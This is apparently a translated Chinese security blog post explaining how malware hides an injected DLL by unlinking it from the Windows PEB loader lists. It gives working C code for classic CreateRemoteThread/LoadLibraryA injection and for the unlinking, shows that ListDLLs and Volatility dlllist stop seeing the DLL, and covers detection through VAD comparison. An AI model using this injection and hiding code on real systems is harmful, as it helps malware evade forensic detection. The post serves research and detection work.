隐藏在众目睽睽之下:从PEB中解除恶意DLL链接的技术解析

本文深入探讨了恶意软件如何利用PEB解除链接技术隐藏注入的DLL,详细解析了Windows进程环境块的结构和操作方式,并提供了完整的技术实现代码和检测方法。

隐藏在众目睽睽之下:从PEB中解除恶意DLL链接

背景

在这篇文章中,我们探讨了一种恶意软件可以利用的反取证技术来隐藏注入的DLL。我们深入研究了Windows进程环境块(PEB)的具体细节,以及如何滥用它来隐藏恶意加载的DLL。

免责声明:本文讨论的技术并不新颖,实际上可能已经有十多年的历史。但是,我找不到任何关于如何在实践中使用它的可行且详细的文章,所以这篇文章记录了我的探索过程!

DLL注入回顾(T1055.001)

DLL注入是许多恶意软件和威胁行为者常用的技术。有多种DLL注入技术,我们这里关注的是"经典"DLL注入,即恶意进程将存在于磁盘上的DLL注入到目标进程中。

DLL注入基础

以下是恶意进程执行"经典DLL注入"的典型步骤:

  1. 确保要注入的DLL存在于磁盘上
  2. 使用OpenProcess获取目标进程的句柄
1
2
3
int desiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
int targetPid = find_process("target.exe");
HANDLE hTargetProcess = OpenProcess(desiredAccess, true, targetPid);
  1. 在目标进程的内存空间中分配读写内存区域,并写入要注入的DLL路径
1
2
3
#define DLL_TO_INJECT "C:\\Windows\\Temp\\malicious.dll"
LPVOID targetDataPage = VirtualAllocEx(hTargetProcess, NULL, strlen(DLL_TO_INJECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hTargetProcess, targetDataPage, DLL_TO_INJECT, strlen(DLL_TO_INJECT), NULL);
  1. 检索LoadLibraryA函数的地址
1
2
HMODULE hModule = GetModuleHandleA("kernel32.dll");
FARPROC load_library_addr = GetProcAddress(hModule, "LoadLibraryA");
  1. 使用CreateRemoteThread在目标进程中创建线程
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(
    hTargetProcess, 
    NULL, // 安全属性
    0, // 堆栈大小
    (LPTHREAD_START_ROUTINE) load_library_addr, 
    targetDataPage, 
    0, // 创建标志
    &threadId
);

这将导致在目标进程中生成一个新线程,并基本上调用LoadLibraryA("C:\\Windows\\Temp\\malicious.dll"),触发恶意DLL的入口点。

DLL代码

要注入的DLL可以在Visual Studio等IDE中编译。当Windows通过我们的CreateRemoteThread调用将其加载到目标进程中时,它将自动使用DLL_PROCESS_ATTACH标志调用其DllMain函数。

1
2
3
4
5
6
7
8
BOOL APIENTRY DllMain(HMODULE hModule, DWORD event, LPVOID ignored) {
    if (event == DLL_PROCESS_ATTACH) {
        for (int i = 0; i < 300; ++i) {
            Sleep(1000);
        }
    }
    return true;
}

检测DLL注入

这种形式的DLL注入相当嘈杂且相对容易识别。如果我们将DLL注入到一个程序(比如MS Paint)中,并使用Process Explorer、Process Hacker或ListDLLs检查它,我们可以清楚地看到恶意DLL:

1
2
3
4
# 使用Sysinternals的ListDLLs
PS> Invoke-WebRequest https://live.sysinternals.com/Listdlls64.exe -OutFile listdlls.exe
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
0x000000008c3f0000  0xb000    C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

如果我们收集机器的内存转储,也可以使用Volatility最流行的模块之一dlllist轻松看到DLL:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ vol.py -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe 
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
mspaint.exe pid:   9340
Command line : mspaint

Base               Path
------------------ ----
0x00007ff6db540000 C:\Windows\system32\mspaint.exe
...
0x00007ff8d7f20000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

常见警告

当使用volatility的dlllist命令时,你可能会遇到这个警告:

“dlllist模块将不再看到从LDR列表中取消链接的DLL” “考虑到恶意软件可以取消链接、更改名称或替换系统库”

从PEB枚举DLL

大多数工具使用PEB,这是内核在每个进程创建时在其虚拟内存空间中填充的数据结构。PEB包含(除其他外)一个指向PEB_LDR_DATA结构的指针,该结构包含3个LDR_DATA_TABLE_ENTRY元素的双向链表:

  • InLoadOrderModuleList
  • InMemoryOrderModuleList
  • InInitializationOrderModuleList

这3个列表中的每一个都包含相同的条目,但顺序不同。例如,InLoadOrderModuleList是一个双向链表,包含按加载顺序排列的DLL。

要迭代所有加载的DLL,我们需要从PEB检索我们想要使用的列表的指针,比如InMemoryOrderModuleList。然后,我们使用每个条目的Flink指针迭代条目。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 通过读取FS或GS寄存器返回指向PEB的指针
PEB* get_peb() {
#ifdef _WIN64
    return (PEB*) __readgsqword(0x60);
#else
    return  (PEB*) __readfsdword(0x30);
#endif
}

// 打印当前进程中加载的DLL列表
void list_dlls(void) {
    PEB* peb = get_peb();
    
    LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* first = current;

    while (current->Flink != first) {
        // current->Flink指向我们想要到达的LDR_DATA_TABLE_ENTRY的'InMemoryOrderLinks'字段
        // 我们使用CONTAINING_RECORD从这个指针减去适当的偏移量并到达结构的开头
        LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        printf("%wZ loaded at %p", entry->FullDllName, entry->DllBase);
        current = current->Flink;
    }
}

InInitializationOrder和InLoadOrder列表

如上代码所示,我们使用了InMemoryOrderModuleList双向链表。我们可以使用另外两个吗?可以,但需要一些额外的工作。通过一些谷歌搜索和基本调试,我们可以重新定义LDR_DATA_TABLE_ENTRY结构,以便能够在代码中使用其他2个列表。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY      InLoadOrderLinks;
    LIST_ENTRY      InMemoryOrderLinks;
    LIST_ENTRY      InInitializationOrderLinks;
    PVOID           DllBase;
    PVOID           EntryPoint;
    ULONG           SizeOfImage;
    UNICODE_STRING  FullDllName;
    UNICODE_STRING  ignored;
    ULONG           Flags;
    SHORT           LoadCount;
    SHORT           TlsIndex;
    LIST_ENTRY      HashTableEntry;
    ULONG           TimeDateStamp;
} MY_LDR_DATA_TABLE_ENTRY;

反取证技术:从PEB解除恶意DLL链接

现在我们正确理解了某些取证检查工具如何列出进程中的DLL,我们可以研究如何对它们隐藏。

想法很简单:

  • 迭代包含加载DLL列表的PEB链表之一
  • 当我们找到恶意DLL时,将其从这些列表中取消链接

执行取消链接的代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void unlink_peb(void) {
    PEB* peb = get_peb();
    LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* first = current;
    while (current->Flink != first) {
        MY_LDR_DATA_TABLE_ENTRY* entry = (MY_LDR_DATA_TABLE_ENTRY *) CONTAINING_RECORD(current, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        char dllName[256];
        snprintf(dllName, sizeof(dllName), "%wZ", entry->FullDllName);
        if (strstr(dllName, "MYMALICIOUSDLL.DLL") != NULL) {
            // 找到DLL!从3个双向链表中取消链接
            entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink;
            entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;

            entry->InMemoryOrderLinks.Blink->Flink = entry->InMemoryOrderLinks.Flink;
            entry->InMemoryOrderLinks.Flink->Blink = entry->InMemoryOrderLinks.Blink;

            entry->InInitializationOrderLinks.Blink->Flink = entry->InInitializationOrderLinks.Flink;
            entry->InInitializationOrderLinks.Flink->Blink = entry->InInitializationOrderLinks.Blink;

            return;
        }
        current = current->Flink;
    }
}

现在如果我们使用ListDLLs搜索恶意DLL会发生什么?

1
2
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
PS>

它找不到。如果我们获取机器的内存映像,Volatility的dlllist呢?

1
2
$ vol -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe | grep -i malicious
$

同样找不到。这是预期的——以下是Volatility文档关于dlllist的说法:

要显示进程加载的DLL,请使用dlllist命令。它遍历_LDR_DATA_TABLE_ENTRY结构的双向链表,该链表由PEB的InLoadOrderModuleList指向

我们正是从InLoadOrderModule列表中取消链接了DLL,这解释了为什么dlllist现在找不到它。

检测DLL取消链接

在分析内存转储时,我们感兴趣的有两件事:

  1. 查找进程加载的所有DLL,包括已被取消链接的DLL
  2. 了解我们找到的DLL是否已从PEB双向链表中取消链接。在取证调查中,这至关重要,因为它表明攻击者或恶意软件正试图在系统上隐藏

为此,我们可以使用VAD(虚拟地址描述符),这是一个低级内核数据结构,用于跟踪内存区域如何映射到特定进程和DLL。当恶意行为者从PEB(在用户空间中)取消链接DLL时,这不会影响VAD。因此,我们可以比较PEB中引用的DLL与VAD中的DLL,看看是否存在差异。

一些流行工具使用VAD并会捕获取消链接的DLL:

  • Process Hacker
  • Volatility的malfind

实际中的DLL取消链接

虽然DLL取消链接似乎经常被提及,但我只能在野外找到一个例子:Flame蠕虫。可能还有更多,我没有花太多时间寻找。

未来研究

如果对此感兴趣,可以尝试以下方向:

  • 如果我们覆盖PEB中的DLL名称,能否使加载的DLL看起来是合法的?
  • 如果我们从内存中取消映射DLL,能否隐藏它?
  • 我们能否使用内存转储中DLL的开放句柄来识别我们有一个指向不存在DLL的句柄,并且可能已被隐藏?
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计